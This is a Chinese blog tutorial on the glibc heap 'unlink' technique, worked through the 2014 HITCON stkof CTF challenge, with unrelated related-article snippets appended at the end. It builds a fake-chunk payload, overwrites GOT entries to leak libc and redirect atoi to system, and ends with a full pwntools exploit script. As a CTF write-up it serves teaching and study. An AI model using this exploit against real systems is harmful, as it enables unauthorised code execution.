好好说话之unlink

article/2025/9/14 4:12:42

堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 。可能做pwn的人都应该听过unlink,见面都要说声久仰久仰。学unlink的时候走了一些弯路,也是遇到了很多困扰的问题,会在后面的内容中做出标注。由于写的比较详细,所以字数依然还是一如既往的多,我会在适当的时候提醒向前回顾某一处知识点,也希望在看例题的时候能够跟着一起做一下

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

往期回顾:
好好说话之Chunk Extend/Overlapping
好好说话之off-by-one

Unlink

Unlink是什么

在讲那个wiki上被转发烂了的chunk图之前有两个点先解决一下:

  • unlink是什么
  • 什么时候执行了unlink

这两个点也是我在初期一直都很困惑的地方,直到翻看了libc的源码(可以在这里下载,我下载的是2.23),在malloc.c中找到了unlink。unlink其实是libc中定义的一个宏,定义如下:

#define unlink(AV, P, BK, FD) {                                            FD = P->fd;								      BK = P->bk;								      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  else {								      FD->bk = BK;							      BK->fd = FD;							      if (!in_smallbin_range (P->size)				      && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    malloc_printerr (check_action,				      "corrupted double-linked list (not small)",    P, AV);					      if (FD->fd_nextsize == NULL) {				      if (P->fd_nextsize == P)				      FD->fd_nextsize = FD->bk_nextsize = FD;		      else {							      FD->fd_nextsize = P->fd_nextsize;			      FD->bk_nextsize = P->bk_nextsize;			      P->fd_nextsize->bk_nextsize = FD;			      P->bk_nextsize->fd_nextsize = FD;			      }							      } else {							      P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      }								      }								      }									      
}

那什么时候执行了unlink呢?在执行free()函数时执行了 _int_free()函数,在_int_free()函数中调用了unlink宏,大概的意思如下(注意_int_free()是函数不是宏):

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){_int_free(){unlink();}
}

堆释放

好了关于unlink的部分先暂停一下,这里我们需要回顾一下调用free()函数堆释放这部分的知识

  1 //gcc -g test.c -o test2 #include<stdio.h>3 4 void main(){5         long *hollk1 = malloc(0x80);6         long *first_chunk = malloc(0x80);7         long *hollk3 = malloc(0x80);8         long *second_chunk = malloc(0x80);9         long *hollk5 = malloc(0x80);10         long *third_chunk = malloc(0x80);11         long *hollk7 = malloc(0x80);12         13         free(first_chunk);14         free(second_chunk);15         free(third_chunk);16  17         return 0;18 }

举一个例子,这里申请了7个chunk,接着依次释放了first_chunk、second_chunk、third_chunk。这里为什么释放这几个chunk呢,因为地址相邻的chunk释放之后会进行合并,地址不相邻的时候不会合并。由于申请的是0x80的chunk,所以在释放之后不会进fastbin而是先进unsortbin。我们用gdb打开编译好的例子,因为使用了-g参数,所以我们在第17行使用命令b 17下断点,接下来让程序跑起来,使用命令bin我们看一下双向链表中的排列结构:

在这里插入图片描述

离近点看! 可以模糊的看到已经有三个chunk_free进入了unsortbin。那么这三个chunk_free从右向左分别对应着first_chunk、second_chunk、third_chunk,我们使用heap命令查看一下这几个chunk:

在这里插入图片描述

这几个释放的chunk已经按照unsortbin中的顺序排列。这里主要看每一个chunk的fd、bk:

  • first_bk -> second
  • second_fd -> first 、 second_bk -> third
  • third_fd -> second

unlink过程及检查

下面呢给出wiki上的链接,说实话wiki上的图和说明我是真的没看懂。。。。。所以我按照字节的例子和理解写出来:

wiki链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/

wiki中unlink关键执行了如下的步骤:

  • FD = P -> fd = target addr -12
  • BK = P -> bk = expect value
  • FD -> bk = BK,即 *(target addr - 12 + 12) = BK = expect value
  • BK -> fd = FD,即 *(expect value + 8) = FD = target addr - 12

这后面的target、expect什么的我就不知道是啥了,感觉好像没什么用处。。。。。

我自己的理解

在此声明这里是我个人的理解,没有说wiki不对什么的,而且也是在wiki的基础上做了一些更加通俗易懂的变化

还是用前面堆释放的例子,依次释放了first_chunk、second_chunk、third_chunk,也就是说首先释放的是first,然后释放的是second,最后释放的是third。在双链表中的结构如下:

在这里插入图片描述

个人的理解unlink其实是想把second_chunk摘掉,那怎么摘呢?

在前面堆释放部分我们讲过fd其实是前一个被释放chunk的prev_size地址,bk是后一个被释放的chunk的prev_size地址,所以:

second_fd = first_prev_addr
second_bk = third_prev_addr

如果second_chunk被摘掉,那么就会变成下面这样:

在这里插入图片描述

由于first_chunk是最开始被释放的,所以first_chunk相对于third_chunk是前一个被释放的块。同样的third_chunk是之后释放的,所以third_chunk相对于first_chunk是后一个被释放的块,所以:

first_bk = third_prev_addr
third_fd = first_prev_addr

所以我的理解中对应着wiki的表现形式就是:

second_fd = first_prev_addr
second_bk = third_prev_addr
first_bk = third_prev_addr 
third_fd = first_prev_addr 

※※※※※※※※执行流程有先后顺序※※※※※※※※

chunk状态检查

现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。但是恰恰是这个检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么

我们还是拿前面的例子来说:

  1 //gcc -g test.c -o test2 #include<stdio.h>3 4 void main(){5         long *hollk1 = malloc(0x80);6         long *first_chunk = malloc(0x80);7         long *hollk3 = malloc(0x80);8         long *second_chunk = malloc(0x80);9         long *hollk5 = malloc(0x80);10         long *third_chunk = malloc(0x80);11         long *hollk7 = malloc(0x80);12         13         free(first_chunk);14         free(second_chunk);15         free(third_chunk);16  17         return 0;18 }

这次我们在第17行下断点,并且查看一下second_chunk:

在这里插入图片描述
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

检查3:检查前后被释放chunk的fd和bk

可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址

以上三点就是检查chunk是否空闲的三大标准。其实说到这我们依然还是不清楚到底应该怎么去利用这个unlink,我在一开始学的时候也很蒙。没有关系,我们拿题去理解:

例题:2014 HITCON stkof

检察保护

还是老规矩,先看一下保护开启状态:

在这里插入图片描述

可以看到是64位程序,只开启了canaryheNX保护

静态分析

这道题很有意思,前面我们做过的大多数题都会有交互。但是这道题运行起来没有任何回显,只有一个等待输入的状态。所以这道题只能根据静态分析来判断程序流程,这也是为什么之前的文章中多次提到静态分析的重要性。那么我们一起用ida x64打开程序看一下:

main函数

在这里插入图片描述

这图咋这大啊! 可以很明显的看出这是一个输入判断,输入的数值会存放在v3变量中。当v3等于1时调用sub_400936()函数,当v3等于2时调用sub_4009E8()函数,当v3等于3时调用sub_400B07()函数,当v3等于1时调用sub_400BA9()函数,v3等于其他值时返回-1。接下来挨个查看一下这几个函数及其功能

sub_400936()函数

当v3等于1时调用sub_400936()函数,我们先看一下这个函数和及其功能:

在这里插入图片描述

关键代码如上,简单的说一说这个函数的功能吧。首先还是从外部接收一个数值,这个数值会存储在size变量中。接下来创建了一个size大小的chunk,chunk的data区域指针交给v3。然后判断chunk是否创建成功,如果成功就会将v3放在bss段一个未初始化变量中

这里的::s[8 * ++dword_602100]可能会看不懂,反正我是第一次看这种形式的代码,我们拆开来看,首先是前面的::s这是因为ida在编译伪代码的时候出现了一些问题,这个s和其他变量名重复了,所以我们只需要选中::后面的s然后右键选择Rename global item更改一下变量名就可以了。后面的8代表着一次写8个字节

我们看一下::s的地址,这里我用rename改了名字:

在这里插入图片描述
可以看到这个数组的地址是0x602140,这里拿小本本记号,后面会用到

通过对上述代码的分析可以了解到:当我们在主界面输入1回车之后就会指针创建堆块的功能,进入创建功能后还需要进行一次堆块大小的输入。我们对照着执行以下,并写出自动化执行的代码:

在这里插入图片描述

sub_4009E8()函数

当v3等于2时调用sub_4009E8()函数,我们看一下代码

在这里插入图片描述

简单的解读一下,首先从外部输入数值,并将数值赋给v3变量,v3变量中存放的其实就是存放chunk_data地址的数组下标,图片中的“chunk_addr”就是“:: s”,我改了名字。接下来判断对应v3下标的位置是否有chunk,如果有那么再次从外部接收,接收字符串的数量赋给n变量,v3下标处的chunk_data地址赋给ptr变量。接下来经过一个大循环,这个循环需要仔细说一下:

首先这里用到了fread()函数,这个函数会从给定流 stream 读取数据到 ptr 所指向的数组中,函数原型如下:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)

参数

  • ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针
  • size – 这是要读取的每个元素的大小,以字节为单位
  • nmemb – 这是元素的个数,每个元素的大小为 size 字节
  • stream – 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流

返回值

成功读取的元素总数会以 size_t 对象返回,size_t 对象是一个整型数据类型。如果总数与 nmemb 参数不同,则可能发生了一个错误或者到达了文件末尾

也就是说循环中的i = fread(ptr, 1ull, n, stdin)是等于输入字符的数量,接下来判断的是i是否大于0,然后执行向地址写的操作

本身代码没什么问题,但是程序的业务逻辑是有问题的。无论我们输入多长的字符串,程序都会将字符串从chunk_data的起始位置开始写进去,本身chunk_data在申请的时候是有长度限制的,但是由于一个不限制长度的字符串写进定长的范围内,这就造成了堆溢出

总的来说sub_4009E8()函数具有编辑chunk内容的功能,当在主界面输入2时进入编辑功能执行sub_4009E8()函数,第二次输入选择要进行编辑的chunk,第三次输入编辑要写的内容。我们运行一下并以代码的形式自动化完成这一步的操作:

在这里插入图片描述

sub_400B07()函数

当v3等于3时调用sub_400B07()函数,我们分析一下这个函数的功能

在这里插入图片描述
简单的分析一下代码,首先需要进行一次输入,也就是前面反复出现的选择chunk,接下来判断所选下标是否由chunk被创建,如果有则释放掉该下标处的chunk,并且将该处指针置空

就是一个简单的释放功能,没什么太多的东西。走一遍流程:在主界面输入3,进入到释放功能执行sub_400B07()函数,再次输入想要释放的chunk编号。按照这个流程我们执行一遍,并以代码的形式自动化完成这个过程:

在这里插入图片描述
主要的几个功能就是这三个,其他的函数没用利用到,如果你想锻炼一下自己的分析能力,也可以自行解读一下,剩下几个函数也是很简单的。最后强调几点:

1、存放在::s中的指针是堆块指向data的指针而不是prev_size的指针
2、

思路分析及动态调试

静态分析阶段结束之后我们使用动态调试器来摸索一下流程

在崩溃边缘疯狂试探1.0

使用gdb打开程序,我们可以先尝试创建三个chunk,看一看它的内存结构到底是个什么样子的:

在这里插入图片描述
我们创建了三个chunk,第一个大小为16,第二个为32,第三个为48。按理说在gdb中时候用heap命令应该只会看到四个chunk(含top_chunk),但是这次出现了六个chunk。多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候

那这样一来我们可能就无法堆chunk1做什么操作了,因为chunk1是被两个io_chunk包围住的,我们也不能够控制io_chunk。即使一定要利用chunk1的话也只能先通过堆溢出先覆盖io_chunk,但是这样太麻烦了。所以我们可以考虑更加容易利用的chunk2和chunk3,由chunk2溢出至chunk3,也方便控制流程走向

在崩溃边缘疯狂试探2.0

经过疯狂试探1.0我们可以得出至少要创建三个chunk,并且第一个chunk需要被舍弃,能够利用的只有后面连续可控的chunk。在2.0中我们就需要探究一下堆溢出究竟能造成什么样的后果,还是用前面的例子创建三个chunk,第一个大小为16,第二个为32,第三个为48。这次创建之后在主界面输入2修改一下chunk2的内容,输入48个字节看一下效果:

在这里插入图片描述

可以看到我们完全可以通过堆溢出的方式来影响chunk3的prev_size和size,那么这样一来关闭了PIE保护、具有堆溢出、知道堆块指针存放在哪里。满足这三点就可以利用unlink的方式对任意地址进行写

部署伪造块环境

如果想要利用unlink的方式,那么势必要有一个空闲块。我们目前都是申请,哪来的空闲块?的确没有,但是可以构造空闲块嘛。如果我们在chunk2的data部分伪造一个fake_chunk,并且这个fake_chunk处于释放状态。通过堆溢出的方式和修改chunk3的prev_size和size的P标志位,使得在释放chunk3的时候发生向前合并,这样就能触发unlink了:

在这里插入图片描述

如果想要构造一个人能够触发unlink的fake_chunk,那么它的大小至少为:

0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30

因为fake_chunk是放在chunk2的data中的,所以chunk2的data大小至少需要0x30

为了能够使得在释放chunk3的时候能够向前合并fake_chunk,并且绕过检查,那么chunk3的prev_size就要等于fake_chunk的size大小,即0x30,这样才能说明前一个chunk(fake_chunk)是释放状态

如果想要触发unlink,那么chunk3的大小就必须超过fast_bin的最大值,所以chunk3的size就至少是0x90,并且chunk3的size的P标志位必须为0:

在这里插入图片描述

payload1.0 = fake_chunk + p64(0x30) + p64(0x90)

构造伪造块

上面我们已经将fake_chunk的外部因素确定了,那么接下来需要考虑的就是fake_chunk怎么构造了:

  • prev_size:我们其实只想通过释放chunk3的时候向前合并fake_chunk,并不需要合并chunk2,所以fake_chunk的prev_size置零就行
  • size:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为0x20就行
  • next_prev:这里其实就是为了绕过检查,证明fake_chunk是一个空闲块,所以next_prev要等于size,即0x20
  • next_size:没啥用,不检查这里,用字符串占位就好

在这里插入图片描述

payload2.0 = p64(0) + p64(0x20) + fd_bk + p64(0x20) + "hollkhol" + p64(0x30) + p64(0x90)

现在就剩下fake_chunk的fd和bk了,需要提醒的是,为了能够使fake_chunk合法,就必须遵循前面理论部分讲的检查3,因此我们要将fake_chunk当做second_chunk来看待(second_chunk是在前面理论部分的名词,如果忘记了往前翻翻)

在这里插入图片描述

  • fake_fd = first_prev_addr (?)
  • fake_bk = third_prev_addr(?)
  • third_fd = fake_prev_addr(✔️)
  • first_bk = fake_prev_addr(✔️)

我们可能并不清楚fake_chunk的fd和bk为多少,但是我们能够知道first_chunk的bk和third_chunk的fd为fake_chunk的prev_size地址

那么接下来我们用gdb打开程序,首先在主页面选择1,创建三个chunk,chunk1由于用不上所以只要能够对齐随便给值就行,chunk1大小为0x100,chunk2大小为0x30,chunk3大小为0x80。接着选择2,把chunk2内容修改成payload2.0,然后ctrl + c回到调试界面,我们看一下fake_chunk的prev_size地址是多少:

在这里插入图片描述

我们通过调试可以看到fake_chunk的prev_size的地址为0xe06540,这个地址同时也是chunk2的data起始地址。那么回想一下在前面静态分析阶段,我们发现所有创建的chunk的data起始地址都记录在s[]数组中,并通过跟踪得到了s[]数组的地址:0x602140(如果忘记了,请翻看前面静态分析的创建功能部分)

我们查看一下这个数组地址:

在这里插入图片描述
这是s[]数组的位置,可以看到s[0]为空,s[1]为chunk1,s[2]为chunk2,s[3]为chunk3。如果从数组的角度来看这很正常,但是从另外一种角度看呢?

在这里插入图片描述
如果我们将0x602140作为一个chunk来看的话,它的fd就是0xe06540。是不是感觉很熟悉😋,也就是说0x602140如果作为一个chunk来看待的话,就可以作为third_chunk

在这里插入图片描述
这样一来我们找到了third_chunk的地址0x602140,进而知道了fake_chunk的bk值为0x602140

在这里插入图片描述
同样的思路,我们将0x602140 - 0x8的位置也看做是一个chunk,那么这个chunk的bk就是0x602140,所以这个chunk可以作为first_chunk

在这里插入图片描述
这样一来我们伪造的fake_chunk就准备齐全了:

在这里插入图片描述

s = 0x602140
payload3.0 = p64(0) + p64(0x20) + p64(s - 0x8) + p64(s) + p64(0x20) + "hollkhol" + p64(0x30) + p64(0x90)

将上面的payload写入chunk2后效果为:

在这里插入图片描述

触发unlink,fake_chunk争夺战!

我们前面做了那么多的准备就是为了这一刻!!!可能在前面理论部分讲unlink的时候比较蒙,没有关系,在这里根据这道题再一次领悟一遍unlink的过程:

  • 释放chunk3触发unlink
  • unlink实际上就是从双向链表中摘除某一个chunk

为什么释放chunk3就会触发unlink呢?首先fake_chunk与chunk3的地址相邻的,由于我们伪造的fake_chunk是空闲状态,所以在释放chunk3的过程中会发生向前合并,也就是说chunk3要与fake_chunk合并成一个大chunk。但是fake_chunk在我们构造的时候为了绕过检查,所以不得不与first_chunk和third_chunk组成双向链表,所以chunk3就需要横刀夺爱将first_chunk从双向链表中抢过来:

在这里插入图片描述

chunk3抢fake_chunk的过程其实就相当于将fake_chunk从双向链表中摘除的过程,那么也就相当于执行unlink的过程,接下来我们看fake_chunk被摘除后发生了什么:

在这里插入图片描述

① fake_chunk被摘除之后首先执行的就是first_bk = third_addr,也就是说first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:

在这里插入图片描述
② 接下来执行third_fd = first_addr,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:

在这里插入图片描述
这里需要注意的是third_chunk的fdfirst_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138

清算战场并泄露函数地址

好了上面就是这道题完整的unlink过程了,由于这个程序本身并没有system(/bin/sh),所以接下来需要考虑的就是通过泄露的方式来从libc中寻找了。在泄露之前呢,我们先看一下,经过unlink之后s[]数组变成了什么样子,因为再怎么说,我们也得从程序修改功能中输入来控制执行流程,那么执行修改功能首先就需要去s[]数组中找到对应的chunk,所以这部分还得是从s[]数组入手:

在这里插入图片描述

可以看到经过”fake_chunk争夺战“以双向链表阵营”战败“而告终,那么战场s[]数组内部变成了这样。s[1]就是chunk1的data指针,因为整个过程中chunk1并没有使用过,所以s[1]并无大碍。但是s[2]的位置原本是chunk2的data指针,经过unlink之后变成了0x602138。最后就是s[3]了,这里原本是chunk3的data指针,但是由于前面为了触发unlink,所以chunk3被释放了,所以s[3]中被置空

那么我们去想,如果我们在主界面选择修改功能,并且选择修改chunk2,那么实际上输入的内容并不会写进chunk2,而是写进0x602138

在这里插入图片描述
那么这样一来,我们可以通过修改s[2]的方式来对s[]数组进行部署函数的got地址,再次修改s[]数组的时候就会修改got中的函数地址,这和前面的几篇文章的套路差不多。首先看第一部,向s[]数组中部署函数got地址:

payload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(hollkelf.got['atoi'])

根据上面的payload修改s[2]:主界面–> 2–> 2–> payload

在这里插入图片描述
这样一来free()函数、puts()函数、atoi()函数就已经在s[]数组中部署好了。可以看到如果再次修改s[0]的话其实修改的是free()函数的真实地址,再次修改s[1]的话其实修改的是puts()函数的真实地址,再次修改s[3]的话其实修改的是atoi()函数的真实地址。

那么接下来,如果将s[0],即free()函数got中的真实地址修改成puts_plt的话,释放调用free()函数就相当于调用puts()函数了。那么如果释放的是s[1]的话就可以泄露出puts()函数的真实地址了:

payload = p64(hollkelf.plt['puts'])

再次根据上面的payload修改s[0]:主界面–> 2–> 0–> payload

在这里插入图片描述

接下来就是释放s[1]了,虽然是调用free(puts_got),但实际上是puts(puts_got),需要注意的是我们接收泄露的地址的时候需要用\x00补全,并且用u64()转换一下才能用:

puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)

查找system()函数和/bin/sh字符串

这部分就没什么好说的了吧,从栈溢出开始就是这个路子😂

libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']

拿shell!

到了最后一步了,还是用前面的思路,我们将部署在s[2]中的atoi_got中的地址修改成前面找到的system()函数地址,这样一来在接收字符串调用atoi()函数的时候实际上调用的是system()函数:

payload = p64(system_addr)

再次根据上面的payload修改s[2]:主界面–> 2–> 2–> payload

在这里插入图片描述
最后我们在等待输入的时候输入/bin/sh字符串的地址就可以了,看起来是atoi(/bin/sh),但实际上执行的是system(/bin/sh)。然后。。。。然后就没有然后了!!!拿shell了!!!!

EXP

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:context.log_level = 'debug'
context.binary = "./stkof"
hollkelf = ELF('./stkof')
if args['REMOTE']:hollk = remote('127.0.0.1', 7777)
else:hollk = process("./stkof")
log.info('PID: ' + str(proc.pidof(hollk)[0]))
libc = ELF('./libc.so.6')
head = 0x602140def alloc(size):hollk.sendline('1')hollk.sendline(str(size))hollk.recvuntil('OK\n')def edit(idx, size, content):hollk.sendline('2')hollk.sendline(str(idx))hollk.sendline(str(size))hollk.send(content)hollk.recvuntil('OK\n')def free(idx):hollk.sendline('3')hollk.sendline(str(idx))def exp():# trigger to malloc buffer for io functionalloc(0x100)  # idx 1alloc(0x30)  # idx 2# small chunk size inorder to trigger unlinkalloc(0x80)  # idx 3# a fake chunk at global[2]=head+16 who's size is 0x20payload = p64(0)  #prev_sizepayload += p64(0x20)  #sizepayload += p64(head - 0x8)  #fdpayload += p64(head)  #bkpayload += p64(0x20)  # next chunk's prev_size bypass the checkpayload = payload.ljust(0x30, 'a')# overwrite global[3]'s chunk's prev_size# make it believe that prev chunk is at global[2]payload += p64(0x30)# make it believe that prev chunk is freepayload += p64(0x90)edit(2, len(payload), payload)# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8free(3)hollk.recvuntil('OK\n')#gdb.attach(hollk)# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(hollkelf.got['atoi'])edit(2, len(payload), payload)# edit free@got to puts@pltpayload = p64(hollkelf.plt['puts'])edit(0, len(payload), payload)#free global[1] to leak puts addrfree(1)puts_addr = hollk.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search('/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)hollk.send(p64(binsh_addr))hollk.interactive()if __name__ == "__main__":exp()

执行结果如下

在这里插入图片描述

在这里插入图片描述


http://chatgpt.dhexx.cn/article/16nJ1Vm9.shtml

相关文章

Unlink

Author&#xff1a;ZERO-A-ONEDate&#xff1a;2021-07-03 一、unlink的原理 简介&#xff1a;俗称脱链&#xff0c;就是将链表头处的free堆块unsorted bin中脱离出来然后和物理地址相邻的新free的堆块合并成大堆块&#xff08;向前合并或者向后合并&#xff09;&#xff0c;再…

unlink快速入门

0x01 正常unlink 当一个bin从记录bin的双向链表中被取下时&#xff0c;会触发unlink。常见的比如&#xff1a;相邻空闲bin进行合并&#xff0c;malloc_consolidate时。unlink的过程如下图所示&#xff08;来自CTFWIKI&#xff09;主要包含3个步骤&#xff0c;就是这么简单。 …

Linux常用命令——unlink命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) unlink 系统调用函数unlink去删除指定的文件 补充说明 unlink命令用于系统调用函数unlink去删除指定的文件。和rm命令作用一样&#xff0c;都是删除文件。 语法 unlink(选项)(参数)选项 --help&#xff1a;…

element table表格,动态生成表头,基于可拖拽组件,拖动排序

效果展示 使用步骤 所需页面根据解释粘入 表格页面(父组件).txt 中代码&#xff0c; 引入dragList.vue组件 1.表格页面(父组件) <dragList radio"ssss" ></dragList> //引用子组件<el-tablev-if"asa":data"tableData"ro…

vue-draggable的多列拖动与拷贝拖拽(不删除源数据列)

vue-draggable的多列拖动与拷贝拖拽&#xff08;不删除源数据列&#xff09; Demo所用属性所遇困难源码 Demo 官方文档 录屏软件&#xff1a;screenToGif (将视频转为Gif&#xff0c;我认为简单又好操作) 我深知&#xff0c;文字的感知不如图片&#xff0c;图片的感知不如视频…

【JavaScript】列表拖拽升级,支持双击添加和时间轴左右拖动

TOC H5实现时间揍拖动 实现双击文件列表的项添加到时间揍的最后一条。 时间轴里可以左右拖动位置。 主要代码&#xff1a; /*** 时间轴拖动结束* param $event* constructor*/ const lineDragEnd ( $event ) > {console.log( 时间轴拖动结束 , $event )console.log(移动了,…

echarts拖拽echarts实现多条可拖动节点的折线图

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <script src="js/echarts/echarts.js"></script> <title>在指定位置画多个点</title> <style> …

html拖拽页面特效,div+css实现网页模块或栏目拖动(即拖拽效果)

//为Number增加一个属性,判断当前数据类型是否是数字 Number.prototype.NaN0function(){return isNaN(this)?0:this;} //全局变量 var iMouseDownfalse; var dragObjectnull; //获得鼠标的偏移量(对象2-对象1) function getMouseOffset(target,ev) { evev||window.event; var …

RecyclerView实现Item可拖拽(拖动、删除)

RecyclerView实现Item可拖拽&#xff08;拖动、删除&#xff09; 话不多说&#xff0c;先附上效果图&#xff1a; ItemTouchHelper 这是一个RecyclerView的工具&#xff0c;提供了drag & swipe 的功能&#xff0c;可以帮助我们处理RecyclerView中的Item的拖拽和滑动事件…

原生drag拖拽后元素过大,挡住其他可拖动位置无法拖动问题

写一个蒙层&#xff0c;还未拖动前原始层在上面&#xff0c; 拖动那过程中&#xff08;dragover&#xff09;原始层在下面&#xff0c; 拖进目标元素后&#xff08;drop&#xff09;&#xff0c;此时蒙层在上面&#xff0c;根据drop的$event获取落在蒙层哪个div上&#xff0c…

html5播放器禁止拖拽功能实例(教学内容禁止拖动观看)

html5播放器禁止拖拽功能实例&#xff08;常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看&#xff09; 实例1&#xff1a;参数开启后&#xff0c;视频教学内容或视频课件将不允许拖动进度条。 <div id"player"></div> <scr…

html5播放器禁止拖拽、视频禁止拖动的实例

阿酷TONY / 2023-3-8 / 长沙 html5播放器禁止拖拽功能,常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看。 应用代码实例&#xff1a; <div id"player"></div> <script src"//player.polyv.net/script/player.js">…

WPF TreeView拖动排序拖拽排列

底部附有Demo示例。需要的朋友可以去下载参考 一、图示 先上图&#xff0c;不知为啥&#xff0c;GIF总看起来特别卡&#xff0c;实际却很流畅。 由于录制问题&#xff0c;GIF动画只会播放一次&#xff0c;需要重复观看的&#xff0c;请将网页关闭后重新打开再观看 WPF的资料…

js原生拖拽的两种方法

一.mousedown、mousemove和mouseup 拖着目标元素在页面任意位置 如果要设置物体拖拽&#xff0c;那么必须使用三个事件&#xff0c;并且这三个事件的使用顺序不能颠倒。 1.onmousedown&#xff1a;鼠标按下事件 2.onmousemove&#xff1a;鼠标移动事件 3.onmouseup&#xff…

前端原生拖拽(drag drop)的一点小总结

新工作中&#xff0c;第一个手生的功能&#xff0c;遇到了很多诡异的问题&#xff0c;今天终于解惑了。最终原因还是对代码没有透彻的了解&#xff0c;jquery的运用也不熟练导致的。稍稍的记录一下。 原始功能 对项目列表中的元素进行拖拽&#xff0c;拖拽到一定的位置&#xf…

Vue2 _ 实现拖拽功能

老项目重构&#xff0c;其中有一些拖拽功能&#xff0c;不过用的是两个开源 JS 拖拽文件实现的效果&#xff0c;版本太老了&#xff0c;所以需要换代了&#xff0c;然后就查阅了能够用 Vue 来简单快速实现拖拽的功能实现方法 &#xff1a; 目录 一、HTML 拖放 二、Vue.Dragg…

vue2 使用 Sortable 库进行拖拽操作

一、vue 项目使用 文档地址&#xff1a; https://www.itxst.com/sortablejs/neuinffi.html 1、安装依赖 npm i -S vuedraggable2、.vue 文件引入组件 import draggable from "vuedraggable"; components: { draggable },3、.使用 查看文档中的示例即可&#xff…

空指针、悬空指针、野指针

文章目录 前言一、指针&#xff1f;二、指针的应用场景三、 空指针四、 悬空指针五、 野指针正确用法 总结 前言 相信很多小伙伴对指针的使用都有一定的了解了。但更多的人可能对指针又爱又恨。这次我们谈点重要的&#xff0c;进一步加深对指针的理解 一、指针&#xff1f; 指…

【C语言】指针(野指针)

目录 1&#xff1a;什么是野指针&#xff1f; 2&#xff1a;如何规避野指针 1.1&#xff1a;指针变量的初始化 2.2&#xff1a;指针越界访问 3.3&#xff1a;指针指向的空间如果我们还回去的话&#xff0c;就把指针指针置为NULL 4.4&#xff1a;指针使用之前检查有效性…

C语言的野指针

1.野指针 指针变量中的值是非法的内存地址&#xff0c;进而形成野指针野指针不是NULL指针&#xff0c;是指向不可用内存地址的指针NULL指针并无危害&#xff0c;很好判断&#xff0c;也很好调试C语言中无法判断一个指针所保存的地址是否合法&#xff0c;合法的地址是通过变量或…